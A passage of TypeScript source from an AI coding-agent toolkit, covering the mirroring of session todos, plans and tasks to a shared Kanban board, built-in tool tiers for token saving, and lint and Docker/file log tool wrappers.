PLAN_STATUS_TO_TASK[item.status],\n createdAt: index,\n updatedAt: index,\n }));\n return {\n id: `plan:${sessionId}`,\n specId: `plan:${sessionId}`,\n title: 'Session plan',\n nodes,\n edges: [],\n rootNodes: nodes.map((node) => node.id),\n createdAt: 0,\n updatedAt: 0,\n };\n}\n\nexport function projectSessionTodosToKanban(\n projectRoot: string | undefined,\n todos: readonly TodoItem[],\n sessionId: string,\n): Promise<KanbanBoard | null> {\n return projectGraph(\n projectRoot,\n sessionId,\n todoListToSerializedGraph(todos, sessionId),\n 'session-todo',\n );\n}\n\nexport function projectSessionTasksToKanban(\n projectRoot: string | undefined,\n tasks: readonly TaskItem[],\n sessionId: string,\n): Promise<KanbanBoard | null> {\n return projectGraph(\n projectRoot,\n sessionId,\n taskFileToSerializedGraph(tasks, sessionId),\n 'session-task',\n );\n}\n\nexport function projectSessionPlanToKanban(\n projectRoot: string | undefined,\n items: readonly PlanItem[],\n sessionId: string,\n): Promise<KanbanBoard | null> {\n return projectGraph(\n projectRoot,\n sessionId,\n planFileToSerializedGraph(items, sessionId),\n 'session-plan',\n );\n}\n\nfunction fireAndForget(context: string, work: Promise<unknown>): void {\n void work.catch((err: unknown) => {\n const message = err instanceof Error ? err.message : String(err);\n console.warn(JSON.stringify({ level: 'warn', event: 'session-kanban', context, message, timestamp: new Date().toISOString() }));\n });\n}\n\nfunction broadcastTodoUpdate(context: Context, todos: readonly TodoItem[]): void {\n const sessionId = context.session?.id ?? '';\n if (!context.agentId || !sessionId) return;\n const projectDir = resolveWstackPaths({ projectRoot: context.projectRoot }).projectDir;\n const mailbox = getSharedProjectMailbox(projectDir);\n void mailbox\n .send({\n from: context.agentId,\n to: '*',\n type: 'status',\n subject: `Kanban todo list updated (${todos.length} item${todos.length === 1 ? '' : 's'})`,\n body: JSON.stringify({\n kind: 'kanban.todos.updated',\n sessionId,\n revision: context.state.revision,\n todos,\n }),\n priority: 'normal',\n senderSessionId: sessionId,\n ttlMs: 6 * 60 * 60 * 1000,\n })\n .catch(() => {\n // Mailbox awareness is best-effort; canonical state is already updated.\n });\n}\n\nfunction notifyTodoUpdate(context: Context, todos: readonly TodoItem[]): void {\n const summary = todos.length\n ? todos.map((todo) => `- [${todo.status}] ${todo.content} (${todo.id})`).join('\\n')\n : '- No active todos remain.';\n const text = `[KANBAN TODO UPDATE]\\nAnother Kanban agent reassessed the shared board. The canonical todo list is now:\\n${summary}\\nReassess your current plan before continuing; do not rely on the initial todo snapshot.`;\n const state = context.state as Partial<Context['state']>;\n if (typeof state.appendBlockToLastUserMessage === 'function') {\n if (state.appendBlockToLastUserMessage({ type: 'text', text })) return;\n }\n if (typeof state.appendMessage === 'function') {\n state.appendMessage({ role: 'user', content: [{ type: 'text', text }] });\n }\n}\n\nexport function mirrorSessionTodosToKanban(\n projectRoot: string | undefined,\n todos: readonly TodoItem[],\n sessionId: string,\n): void {\n queueLatestMirror(\n projectRoot,\n sessionId,\n todoListToSerializedGraph(todos, sessionId),\n 'session-todo',\n );\n}\n\nexport function mirrorSessionTasksToKanban(\n projectRoot: string | undefined,\n tasks: readonly TaskItem[],\n sessionId: string,\n): void {\n queueLatestMirror(\n projectRoot,\n sessionId,\n taskFileToSerializedGraph(tasks, sessionId),\n 'session-task',\n );\n}\n\nexport function mirrorSessionPlanToKanban(\n projectRoot: string | undefined,\n items: readonly PlanItem[],\n sessionId: string,\n): void {\n queueLatestMirror(\n projectRoot,\n sessionId,\n planFileToSerializedGraph(items, sessionId),\n 'session-plan',\n );\n}\n\n/**\n * Bind all live session work paths to Kanban. Todo changes are observed from\n * ConversationState; plan/task sidecars are watched so slash commands, WebUI,\n * plugins, and tools all pass through the same board.\n */\nexport function attachSessionKanbanMirror(context: Context): () => void {\n const existing = bindings.get(context);\n if (existing) return existing;\n\n const attachedProjectRoot = context.projectRoot ?? '';\n let registeredSessionId = '';\n const syncActiveSessionRegistration = () => {\n if (!attachedProjectRoot) return;\n const currentSessionId = context.session?.id ?? '';\n if (currentSessionId === registeredSessionId) return;\n if (registeredSessionId) {\n releaseActiveSessionBoard(attachedProjectRoot, registeredSessionId);\n fireAndForget(\n 'cleanup-board',\n cleanupSessionKanbanBoardIfEmpty(attachedProjectRoot, registeredSessionId),\n );\n }\n registeredSessionId = currentSessionId;\n if (registeredSessionId) {\n retainActiveSessionBoard(attachedProjectRoot, registeredSessionId);\n }\n };\n syncActiveSessionRegistration();\n\n let watcher: FSWatcher | null = null;\n let watchedDir = '';\n let timer: NodeJS.Timeout | null = null;\n let unsubscribeBoardEvents: (() => void) | null = null;\n let watchedBoardId = '';\n let boardTimer: NodeJS.Timeout | null = null;\n let presenceTimer: NodeJS.Timeout | null = null;\n\n const sessionId = () => context.session?.id ?? '';\n const refreshFiles = async () => {\n const id = sessionId();\n if (!id) return;\n const planPath = context.meta['plan.path'];\n if (typeof planPath === 'string' && planPath) {\n const plan = await loadPlan(planPath);\n if (plan) await projectSessionPlanToKanban(context.projectRoot, plan.items, id);\n }\n const taskPath = context.meta['task.path'];\n if (typeof taskPath === 'string' && taskPath) {\n const tasks = await loadTasks(taskPath);\n if (tasks) await projectSessionTasksToKanban(context.projectRoot, tasks.tasks, id);\n }\n };\n\n const refreshBoard = async () => {\n if (!watchedBoardId) return;\n const board = await getBoard(context.projectRoot, watchedBoardId);\n if (board) applySessionKanbanBoardToTodos(context, board);\n };\n\n const configureBoardWatcher = async () => {\n const id = sessionId();\n const board = id ? await ensureSessionKanbanBoard(context.projectRoot, id) : null;\n if (!board || board.id === watchedBoardId) return;\n unsubscribeBoardEvents?.();\n unsubscribeBoardEvents = null;\n watchedBoardId = board.id;\n try {\n unsubscribeBoardEvents = bridgeKanbanSupervisor(\n context.projectRoot,\n (event) => {\n const data = event.data as { boardId?: string } | undefined;\n if (data?.boardId !== board.id) return;\n if (boardTimer) clearTimeout(boardTimer);\n boardTimer = setTimeout(() => fireAndForget('refresh-board', refreshBoard()), 60);\n },\n { autoReconnect: true, reconnectDelayMs: 1_000 },\n );\n const touchPresence = () =>\n touchKanbanPresence(context.projectRoot, board.id, {\n sessionId: id,\n agentId: context.agentId,\n agentName: context.agentName,\n });\n fireAndForget('touch-presence', touchPresence());\n if (presenceTimer) clearInterval(presenceTimer);\n presenceTimer = setInterval(() => fireAndForget('touch-presence', touchPresence()), 60_000);\n presenceTimer.unref?.();\n } catch {\n unsubscribeBoardEvents = null;\n watchedBoardId = '';\n }\n };\n\n const configureWatcher = () => {\n const planPath = context.meta['plan.path'];\n const taskPath = context.meta['task.path'];\n const candidate =\n typeof planPath === 'string' && planPath\n ? dirname(planPath)\n : typeof taskPath === 'string' && taskPath\n ? dirname(taskPath)\n : '';\n if (!candidate || candidate === watchedDir) return;\n watcher?.close();\n watcher = null;\n watchedDir = candidate;\n try {\n watcher = watch(candidate, { persistent: false }, (_event, filename) => {\n const name = filename?.toString();\n const currentPlanPath = context.meta['plan.path'];\n const currentTaskPath = context.meta['task.path'];\n const planName = typeof currentPlanPath === 'string' ? basename(currentPlanPath) : '';\n const taskName = typeof currentTaskPath === 'string' ? basename(currentTaskPath) : '';\n if (name && name !== planName && name !== taskName) return;\n if (timer) clearTimeout(timer);\n timer = setTimeout(() => fireAndForget('refresh-files', refreshFiles()), 60);\n });\n watcher.on('error', () => watcher?.close());\n } catch {\n // The session directory can briefly disappear during project/session\n // switches; the next meta update re-attempts the binding.\n watcher = null;\n watchedDir = '';\n }\n };\n\n const unsubscribe = context.state.onChange((change) => {\n if (change.kind === 'todos_replaced' && !suppressedTodoMirrors.has(context)) {\n // ConversationState auto-clears an all-done tactical list. Project the\n // pre-clear completion snapshot so every card reaches Done atomically.\n mirrorSessionTodosToKanban(\n context.projectRoot,\n change.completedSnapshot ?? change.todos,\n sessionId(),\n );\n return;\n }\n if (change.kind === 'meta_set' && (change.key === 'plan.path' || change.key === 'task.path')) {\n syncActiveSessionRegistration();\n configureWatcher();\n fireAndForget('ensure-board', ensureSessionKanbanBoard(context.projectRoot, sessionId()));\n fireAndForget('configure-watcher', configureBoardWatcher());\n fireAndForget('refresh-files', refreshFiles());\n }\n });\n\n configureWatcher();\n fireAndForget('configure-watcher', configureBoardWatcher());\n\n const detach = () => {\n unsubscribe();\n if (timer) clearTimeout(timer);\n if (boardTimer) clearTimeout(boardTimer);\n if (presenceTimer) clearInterval(presenceTimer);\n watcher?.close();\n unsubscribeBoardEvents?.();\n bindings.delete(context);\n if (attachedProjectRoot && registeredSessionId) {\n releaseActiveSessionBoard(attachedProjectRoot, registeredSessionId);\n fireAndForget(\n 'cleanup-board',\n cleanupSessionKanbanBoardIfEmpty(attachedProjectRoot, registeredSessionId),\n );\n registeredSessionId = '';\n }\n };\n bindings.set(context, detach);\n return detach;\n}\n\n/** Fully hydrate a session board before a host announces the session as ready. */\nexport async function hydrateSessionKanban(context: Context): Promise<KanbanBoard | null> {\n const id = context.session?.id ?? '';\n if (!id) return null;\n await cleanupEmptySessionKanbanBoards(context.projectRoot, id);\n let board = await ensureSessionKanbanBoard(context.projectRoot, id);\n if (context.todos.length) {\n board = await projectSessionTodosToKanban(context.projectRoot, context.todos, id);\n }\n const planPath = context.meta['plan.path'];\n if (typeof planPath === 'string' && planPath) {\n const plan = await loadPlan(planPath);\n if (plan) board = await projectSessionPlanToKanban(context.projectRoot, plan.items, id);\n }\n const taskPath = context.meta['task.path'];\n if (typeof taskPath === 'string' && taskPath) {\n const tasks = await loadTasks(taskPath);\n if (tasks) board = await projectSessionTasksToKanban(context.projectRoot, tasks.tasks, id);\n }\n return board;\n}\n\nexport interface SessionKanbanSourceUpdate {\n source: 'todo' | 'task' | 'plan' | null;\n todos?: TodoItem[] | undefined;\n tasks?: TaskFile | undefined;\n plan?: PlanFile | undefined;\n}\n\nfunction sourceStatus(task: KanbanTask): TaskStatus {\n if (task.status === 'completed') return 'completed';\n if (task.status === 'in_progress') return 'in_progress';\n if (task.status === 'review') return 'review';\n if (task.status === 'blocked') return 'blocked';\n if (task.status === 'failed') return 'failed';\n return 'pending';\n}\n\nfunction todoStatus(task: KanbanTask): TodoItem['status'] {\n const status = sourceStatus(task);\n if (status === 'completed') return 'completed';\n if (status === 'in_progress' || status === 'review') return 'in_progress';\n return 'pending';\n}\n\nfunction sessionTodoFromTask(task: KanbanTask): TodoItem {\n return {\n id: task.origin?.taskId ?? task.id,\n content: task.title,\n status: todoStatus(task),\n ...(task.description ? { activeForm: task.description } : {}),\n };\n}\n\nfunction sameTodos(left: readonly TodoItem[], right: readonly TodoItem[]): boolean {\n return (\n left.length === right.length &&\n left.every((todo, index) => {\n const candidate = right[index];\n return (\n candidate?.id === todo.id &&\n candidate.content === todo.content &&\n candidate.status === todo.status &&\n candidate.activeForm === todo.activeForm &&\n candidate.promotedFromPlan === todo.promotedFromPlan &&\n candidate.promotedFromTask === todo.promotedFromTask\n );\n })\n );\n}\n\n/**\n * Replace the tactical todo list from the current cards on a session-owned board.\n *\n * Existing mirrored todo cards retain their stable source ids. New cards created\n * by a Kanban worker become todos under their card ids, so reassessment can add,\n * split, merge, reprioritize, or remove work without being overwritten by the\n * todo list that happened to exist when the run started.\n */\nexport function applySessionKanbanBoardToTodos(context: Context, board: KanbanBoard): TodoItem[] {\n const sessionId = context.session?.id ?? '';\n if (\n !sessionId ||\n sessionIdFromTags(board.tags) !== sessionId ||\n !isOwnedSessionBoard(board.tags)\n ) {\n return [...context.todos];\n }\n\n const projectedTodos = board.tasks\n .filter(\n (task) =>\n task.status !== 'archived' &&\n (!task.origin ||\n task.origin.system === 'session-todo' ||\n (task.origin.graphId ?? '').startsWith('todo:')),\n )\n .sort((left, right) => {\n const leftColumn = board.columns.find((column) => column.id === left.columnId)?.order ?? 0;\n const rightColumn = board.columns.find((column) => column.id === right.columnId)?.order ?? 0;\n return (\n leftColumn - rightColumn ||\n left.order - right.order ||\n left.createdAt.localeCompare(right.createdAt)\n );\n })\n .map(sessionTodoFromTask);\n\n const allCompleted =\n projectedTodos.length > 0 && projectedTodos.every((todo) => todo.status === 'completed');\n const effectiveTodos = allCompleted ? [] : projectedTodos;\n if (sameTodos(context.todos, effectiveTodos)) return [...context.todos];\n suppressedTodoMirrors.add(context);\n try {\n context.state.replaceTodos(projectedTodos);\n } finally {\n suppressedTodoMirrors.delete(context);\n }\n notifyTodoUpdate(context, context.todos);\n broadcastTodoUpdate(context, context.todos);\n return [...context.todos];\n}\n\n/** Reflect a TUI/WebUI Kanban card edit back to its originating work list. */\nexport async function applySessionKanbanTaskToSource(\n context: Context,\n task: KanbanTask,\n options: { remove?: boolean | undefined } = {},\n): Promise<SessionKanbanSourceUpdate> {\n const originId = task.origin?.taskId;\n const graphId = task.origin?.graphId ?? '';\n if (!originId) return { source: null };\n\n if (task.origin?.system === 'session-todo' || graphId.startsWith('todo:')) {\n const next = options.remove\n ? context.todos.filter((todo) => todo.id !== originId)\n : context.todos.map((todo) =>\n todo.id === originId\n ? {\n ...todo,\n content: task.title,\n status:\n sourceStatus(task) === 'completed'\n ? ('completed' as const)\n : sourceStatus(task) === 'in_progress' || sourceStatus(task) === 'review'\n ? ('in_progress' as const)\n : ('pending' as const),\n }\n : todo,\n );\n suppressedTodoMirrors.add(context);\n try {\n context.state.replaceTodos(next);\n } finally {\n suppressedTodoMirrors.delete(context);\n }\n return { source: 'todo', todos: [...context.todos] };\n }\n\n const id = context.session?.id ?? '';\n if (task.origin?.system === 'session-plan' || graphId.startsWith('plan:')) {\n const planPath = context.meta['plan.path'];\n if (typeof planPath !== 'string' || !planPath) return { source: 'plan' };\n const plan = await mutatePlan(planPath, id, (file) => ({\n ...file,\n updatedAt: new Date().toISOString(),\n items: options.remove\n ? file.items.filter((item) => item.id !== originId)\n : file.items.map((item) =>\n item.id === originId\n ? {\n ...item,\n title: task.title,\n details: task.description,\n status:\n task.status === 'completed'\n ? ('done' as const)\n : task.status === 'in_progress' || task.status === 'review'\n ? ('in_progress' as const)\n : ('open' as const),\n updatedAt: new Date().toISOString(),\n }\n : item,\n ),\n }));\n return { source: 'plan', plan };\n }\n\n if (\n task.origin?.system === 'session-task' ||\n task.origin?.system === 'session' ||\n graphId.startsWith('session:')\n ) {\n const taskPath = context.meta['task.path'];\n if (typeof taskPath !== 'string' || !taskPath) return { source: 'task' };\n const tasks = await mutateTasks(taskPath, id, (file) => ({\n ...file,\n tasks: options.remove\n ? file.tasks.filter((item) => item.id !== originId)\n : file.tasks.map((item) =>\n item.id === originId\n ? {\n ...item,\n title: task.title,\n description: task.description,\n status: sourceStatus(task),\n updatedAt: new Date().toISOString(),\n }\n : item,\n ),\n }));\n return { source: 'task', tasks };\n }\n\n return { source: null };\n}\n", "import type { Tool } from '@wrongstack/core/types';\nimport { auditTool } from './audit.js';\nimport { bashTool } from './bash.js';\nimport { batchToolUseTool } from './batch-tool-use.js';\nimport { browserTools } from './browser/tools.js';\nimport {\n codebaseIndexTool,\n codebaseSearchTool,\n codebaseStatsTool,\n deadCodeScanTool,\n} from './codebase-index/index.js';\nimport { designTool } from './design.js';\nimport { diffTool } from './diff.js';\nimport { documentTool } from './document.js';\nimport { e2ePlanTool } from './e2e.js';\nimport { editTool } from './edit.js';\nimport { execTool } from './exec.js';\nimport { fetchTool } from './fetch.js';\nimport { formatTool } from './format.js';\nimport { gitTool } from './git.js';\nimport { globTool } from './glob.js';\nimport { grepTool } from './grep.js';\nimport { installTool } from './install.js';\nimport { jsonTool } from './json.js';\nimport { kanbanTool } from './kanban.js';\nimport { languageTool } from './languages/execute-tool.js';\nimport { languagePackageTool } from './languages/package-tool.js';\nimport { languageInfoTool } from './languages/tool.js';\nimport { lintTool } from './lint.js';\nimport { logsTool } from './logs.js';\nimport { outdatedTool } from './outdated.js';\nimport { patchTool } from './patch.js';\nimport { planTool } from './plan.js';\nimport { readTool } from './read.js';\nimport { replaceTool } from './replace.js';\nimport { scaffoldTool } from './scaffold.js';\nimport { searchTool } from './search.js';\nimport { setWorkingDirTool } from './set-working-dir.js';\nimport { taskTool } from './task.js';\nimport { testTool } from './test.js';\nimport { todoTool } from './todo.js';\nimport { toolHelpTool } from './tool-help.js';\nimport { toolSearchTool } from './tool-search.js';\nimport { toolUseTool } from './tool-use.js';\nimport { treeTool } from './tree.js';\nimport { typecheckTool } from './typecheck.js';\nimport { writeTool } from './write.js';\n\n/**\n * Non-essential tools that can be omitted in token-saving mode to reduce\n * per-request token consumption. Each tool definition adds ~50-200 tokens\n * to the system prompt; skipping these saves ~2000-3000 tokens per iteration.\n *\n * These tools are useful but not critical for core development flow:\n * package management (install/audit/outdated run once per session at most),\n * meta-tools (toolSearch/toolUse/batchToolUse/toolHelp duplicate built-in\n * model capabilities), scaffolding, logging, and auto-documentation.\n */\nexport const OPTIONAL_TOOLS: Tool[] = [\n ...browserTools,\n e2ePlanTool,\n installTool,\n auditTool,\n outdatedTool,\n logsTool,\n documentTool,\n scaffoldTool,\n toolSearchTool,\n toolUseTool,\n batchToolUseTool,\n toolHelpTool,\n setWorkingDirTool,\n];\n\n/**\n * Tier 1 (Token Saving) tool set \u2014 the absolute minimum for useful work.\n * 13 tools covering core file ops, indexed project discovery, shell, search,\n * and utilities. Codebase index lifecycle tools stay available at every tier\n * so token saving does not force broad filesystem scans.\n * Saves ~3500-5500 tokens vs full mode by omitting specialized tools.\n *\n * Tier 1 tools:\n * read, write, edit \u2014 file operations\n * codebase-stats, codebase-search/index \u2014 indexed project discovery\n * bash, grep, glob \u2014 shell + exact/path fallback\n * diff, patch, json \u2014 utility\n * search \u2014 web research\n */\nexport const TIER1_TOOLS: Tool[] = [\n readTool,\n writeTool,\n editTool,\n codebaseStatsTool,\n codebaseSearchTool,\n codebaseIndexTool,\n bashTool,\n grepTool,\n globTool,\n diffTool,\n patchTool,\n jsonTool,\n searchTool,\n];\n\n/**\n * Tier 2 tool set \u2014 standard development tools useful for non-trivial work.\n * Adds 19 tools: replace, exec, fetch, git, tree, lint, format, typecheck,\n * test, languageInfo, language, languagePackage, todo, plan, kanban, task,\n * install, audit, design.\n *\n * These tools are used regularly during development but are not essential for\n * every turn. Omitting them in minimal/light tier saves ~900 tokens per prompt.\n */\nexport const TIER2_TOOLS: Tool[] = [\n replaceTool,\n execTool,\n fetchTool,\n gitTool,\n treeTool,\n lintTool,\n formatTool,\n typecheckTool,\n testTool,\n languageInfoTool,\n languageTool,\n languagePackageTool,\n todoTool,\n planTool,\n kanbanTool,\n taskTool,\n installTool,\n auditTool,\n designTool,\n];\n\n/**\n * Tier 3 tool set \u2014 specialized/optional tools for specific workflows.\n * Adds 10 tools: deadCodeScan, outdated, logs, document, scaffold,\n * toolSearch, toolUse, batchToolUse, toolHelp, setWorkingDir.\n *\n * These tools are rarely used in typical development (once-per-session,\n * debugging, or one-time generation) and can be safely omitted in any\n * token-saving tier to save ~800 tokens per prompt.\n */\nexport const TIER3_TOOLS: Tool[] = [\n outdatedTool,\n logsTool,\n documentTool,\n scaffoldTool,\n deadCodeScanTool,\n toolSearchTool,\n toolUseTool,\n batchToolUseTool,\n toolHelpTool,\n setWorkingDirTool,\n];\n\nexport const builtinTools: Tool[] = [\n ...browserTools,\n e2ePlanTool,\n readTool,\n writeTool,\n editTool,\n codebaseStatsTool,\n codebaseSearchTool,\n codebaseIndexTool,\n deadCodeScanTool,\n replaceTool,\n globTool,\n grepTool,\n bashTool,\n execTool,\n fetchTool,\n searchTool,\n todoTool,\n planTool,\n kanbanTool,\n taskTool,\n gitTool,\n patchTool,\n jsonTool,\n diffTool,\n treeTool,\n lintTool,\n formatTool,\n typecheckTool,\n testTool,\n languageInfoTool,\n languageTool,\n languagePackageTool,\n installTool,\n auditTool,\n outdatedTool,\n logsTool,\n documentTool,\n scaffoldTool,\n designTool,\n toolSearchTool,\n toolUseTool,\n batchToolUseTool,\n toolHelpTool,\n setWorkingDirTool,\n];\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { spawnStream } from './_spawn-stream.js';\nimport { normalizeCommandOutput, safeResolve } from './_util.js';\nimport { tryLegacyCodeOperation } from './languages/legacy-bridge.js';\n\ninterface LintInput {\n files?: string | string[] | undefined;\n fix?: boolean | undefined;\n linter?: 'biome' | 'eslint' | 'tslint' | 'auto' | undefined;\n cwd?: string | undefined;\n}\n\ninterface LintOutput {\n linter: string;\n files_checked: number;\n errors: number;\n warnings: number;\n output: string;\n fix_applied: boolean;\n truncated: boolean;\n}\n\nexport const lintTool: Tool<LintInput, LintOutput> = {\n name: 'lint',\n category: 'Code Quality',\n description:\n 'Run the project linter (primarily Biome in this repo). Detects style violations, potential bugs, and formatting issues.',\n usageHint:\n 'RUN OFTEN DURING DEVELOPMENT:\\n\\n' +\n '- `fix: true` will automatically correct what it can.\\n' +\n '- Target specific files or globs when you only want to check part of the project.\\n' +\n 'This is a fast and important quality gate. Use it before typecheck in most workflows.',\n permission: 'confirm',\n mutating: false,\n timeoutMs: 60_000,\n capabilities: ['shell.restricted'],\n icon: 'code',\n inputSchema: {\n type: 'object',\n properties: {\n files: {\n type: 'string',\n description:\n 'Files/patterns: single path, comma-separated list, or glob (e.g. \"src/**/*.ts\")',\n },\n fix: { type: 'boolean', description: 'Auto-fix fixable issues (default: false)' },\n linter: {\n type: 'string',\n enum: ['biome', 'eslint', 'tslint', 'auto'],\n description: 'Linter to use (default: auto-detect)',\n },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n },\n },\n async execute(input, ctx, opts) {\n let final: LintOutput | undefined;\n const executeStream = lintTool.executeStream;\n if (!executeStream) throw new Error('lintTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('lint: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<LintOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const linter = input.linter ?? 'auto';\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n if (linter === 'auto' && !input.files) {\n const bridge = await tryLegacyCodeOperation('lint', {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n });\n if (bridge?.run) {\n const run = bridge.run;\n yield {\n type: 'final',\n output: {\n linter: bridge.language,\n files_checked: 0,\n errors: run.summary.errors,\n warnings: run.summary.warnings,\n output: normalizeCommandOutput(run.output || run.error || ''),\n fix_applied: false,\n truncated: run.truncated,\n },\n };\n return;\n }\n }\n\n const detected = linter === 'auto' ? await detectLinter(cwd) : linter;\n /* v8 ignore start -- detectLinter always falls back to 'biome' (never null) and explicit linters are truthy; this is defensive. */\n if (!detected) {\n yield {\n type: 'final',\n output: {\n linter: 'none',\n files_checked: 0,\n errors: 0,\n warnings: 0,\n output: 'No linter found (biome.json, .eslintrc, tslint.json)',\n fix_applied: false,\n truncated: false,\n },\n };\n return;\n }\n /* v8 ignore stop */\n\n yield { type: 'log', text: `Running ${detected}\u2026`, data: { linter: detected } };\n\n const args: string[] = ['lint'];\n if (input.fix) args.push('--write');\n if (input.files) {\n const files = Array.isArray(input.files) ? input.files : input.files.split(',');\n args.push('--', ...files.map((f) => f.trim()));\n }\n\n const cmd = detected === 'biome' ? 'biome' : detected;\n const result = yield* spawnStream({ cmd, args, cwd, signal: opts.signal, maxBytes: 100_000 });\n\n const errors = [...result.stdout.matchAll(/\\berror\\b/gi)].length;\n const warnings = [...result.stdout.matchAll(/\\bwarning\\b/gi)].length;\n\n yield {\n type: 'final',\n output: {\n linter: detected,\n files_checked: input.files\n ? Array.isArray(input.files)\n ? input.files.length\n : input.files.split(',').length\n : 0,\n errors,\n warnings,\n output: normalizeCommandOutput(result.stdout),\n fix_applied: input.fix ?? false,\n truncated: result.truncated,\n },\n };\n },\n};\n\nasync function detectLinter(cwd: string): Promise<string | null> {\n const { stat } = await import('node:fs/promises');\n const checks = ['biome.json', '.eslintrc.json', 'tslint.json', '.eslintrc.js', 'tsconfig.json'];\n for (const f of checks) {\n try {\n await stat(`${cwd}/${f}`);\n if (f.includes('biome')) return 'biome';\n if (f.includes('eslint')) return 'eslint';\n if (f.includes('tslint')) return 'tslint';\n } catch {\n // continue\n }\n }\n return 'biome';\n}\n", "import { spawn } from 'node:child_process';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport type { Tool } from '@wrongstack/core/types';\nimport { compileUserRegex } from './_regex.js';\nimport { safeResolve } from './_util.js';\n\ninterface LogsInput {\n service?: string | undefined;\n path?: string | undefined;\n lines?: number | undefined;\n stream?: boolean | undefined;\n filter?: string | undefined;\n since?: '1h' | '6h' | '24h' | 'all' | undefined;\n cwd?: string | undefined;\n}\n\ninterface LogEntry {\n timestamp: string;\n level: string;\n message: string;\n source?: string | undefined;\n}\n\ninterface LogsOutput {\n source: string;\n entries: LogEntry[];\n total: number;\n truncated: boolean;\n stream_mode: boolean;\n}\n\nexport const logsTool: Tool<LogsInput, LogsOutput> = {\n name: 'logs',\n category: 'Logs',\n description:\n 'Read or stream logs from files, Docker containers, or systemd services. Useful for debugging running applications.',\n usageHint:\n 'DEBUGGING TOOL \u2014 USE CAREFULLY IN AUTONOMOUS MODE:\\n\\n' +\n '- Prefer `path` for local files or `service` for containers/systemd.\\n' +\n '- `stream: true` = live tail (can be expensive).\\n' +\n '- Always use `filter` (regex) when possible to reduce noise and token usage.\\n' +\n '- Long-running streams should be avoided unless the user explicitly wants live logs.',\n permission: 'confirm',\n mutating: false,\n timeoutMs: 30_000,\n capabilities: ['shell.restricted'],\n icon: 'logs',\n inputSchema: {\n type: 'object',\n properties: {\n service: {\n type: 'string',\n description: 'Service name for Docker or systemd journal',\n },\n path: {\n type: 'string',\n description: 'Path to log file (alternative to service)',\n },\n lines: {\n type: 'integer',\n description: 'Number of log lines to fetch (default: 100, 0 for all)',\n minimum: 0,\n maximum: 10000,\n },\n stream: {\n type: 'boolean',\n description: 'Stream logs continuously (like tail -f) (default: false)',\n },\n filter: {\n type: 'string',\n description: 'Regex pattern to filter log lines',\n },\n since: {\n type: 'string',\n enum: ['1h', '6h', '24h', 'all'],\n description: 'Only show logs since duration',\n },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n },\n },\n async execute(input, ctx, opts) {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const lines = input.lines ?? 100;\n let filterRe: RegExp | null = null;\n if (input.filter) {\n const compiled = compileUserRegex(input.filter, 'i');\n if (!compiled.ok) {\n throw new Error(`logs: ${compiled.reason}`);\n }\n filterRe = compiled.regex;\n }\n\n if (input.service) {\n return await dockerLogs(input.service, lines, filterRe, cwd, opts.signal);\n }\n\n if (input.path) {\n return await fileLogs(safeResolve(input.path, ctx), lines, filterRe, input.stream ?? false);\n }\n\n return {\n source: 'none',\n entries: [],\n total: 0,\n truncated: false,\n stream_mode: false,\n };\n },\n};\n\nasync function dockerLogs(\n service: string,\n lines: number,\n filterRe: RegExp | null,\n cwd: string,\n signal: AbortSignal,\n since?: string | undefined,\n): Promise<LogsOutput> {\n const args = ['logs'];\n if (lines > 0) args.push('--tail', String(lines));\n /* v8 ignore start -- execute() does not forward `since` to dockerLogs yet; this block is currently unreachable. */\n if (since) {\n const sinceMap: Record<string, string> = { '1h': '1h', '6h': '6h', '24h': '24h' };\n args.push('--since', sinceMap[since] ?? '1h');\n }\n /* v8 ignore stop */\n // Validate service name to prevent container name injection.\n // Docker container names are limited to [a-zA-Z0-9][a-zA-Z0-9._-]+.\n if (!/^[a-zA-Z0-9][a-zA-Z0-9._:-]+$/.test(service)) {\n return {\n source: `docker:${service}`,\n entries: [],\n total: 0,\n truncated: false,\n stream_mode: false,\n };\n }\n args.push('--timestamps', service);\n\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n const MAX = 200_000;\n let settled = false;\n\n const empty = (): LogsOutput => ({\n source: `docker:${service}`,\n entries: [],\n total: 0,\n truncated: false,\n stream_mode: false,\n });\n const finish = (result: LogsOutput) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n resolve(result);\n };\n\n const child = spawn('docker', args, { cwd, signal, env: buildChildEnv(), stdio: ['ignore', 'pipe', 'pipe'], windowsHide: true });\n\n // `docker logs --tail N` reads recent lines and exits \u2014 fast when the\n // daemon is up. But if the daemon is unreachable (common on CI runners\n // with no running Docker), the CLI can hang on the socket connection and\n // emit neither `close` nor `error`. Kill it and return empty so the tool\n // (and its tests) never hang.\n const timer = setTimeout(() => {\n child.kill('SIGTERM');\n finish(empty());\n }, DOCKER_LOGS_TIMEOUT_MS);\n\n child.stdout?.on('data', (c) => {\n if (stdout.length < MAX) stdout += c.toString();\n });\n child.stderr?.on('data', (c) => {\n if (stderr.length < MAX) stderr += c.toString();\n });\n // When the child is SIGTERM-killed on timeout (or aborted via `signal`),\n // its pipes can emit `error` (e.g. EPIPE on Windows). Without a listener\n // that surfaces as an unhandled error and can fail the host/test \u2014 swallow\n // it at debug level; `child.on('error')` and the timeout already drive the result.\n child.stdout?.on('error', (e) => {\n console.log(JSON.stringify({ level: 'debug', event: 'pipe_error', stream: 'stdout', error: e.message }));\n });\n child.stderr?.on('error', (e) => {\n console.log(JSON.stringify({ level: 'debug', event: 'pipe_error', stream: 'stderr', error: e.message }));\n });\n child.on('close', () => {\n const output = stdout + stderr;\n const entries = parseLogLines(output, filterRe);\n finish({\n source: `docker:${service}`,\n entries,\n total: entries.length,\n truncated: output.length >= MAX,\n stream_mode: false,\n });\n });\n child.on('error', () => finish(empty()));\n });\n}\n\n/**\n * Hard ceiling for a `docker logs` read. The daemon may be unreachable on CI\n * (no Docker running), where the CLI hangs on the socket without ever exiting.\n */\nconst DOCKER_LOGS_TIMEOUT_MS = 3_000;\n\n// Hard cap on 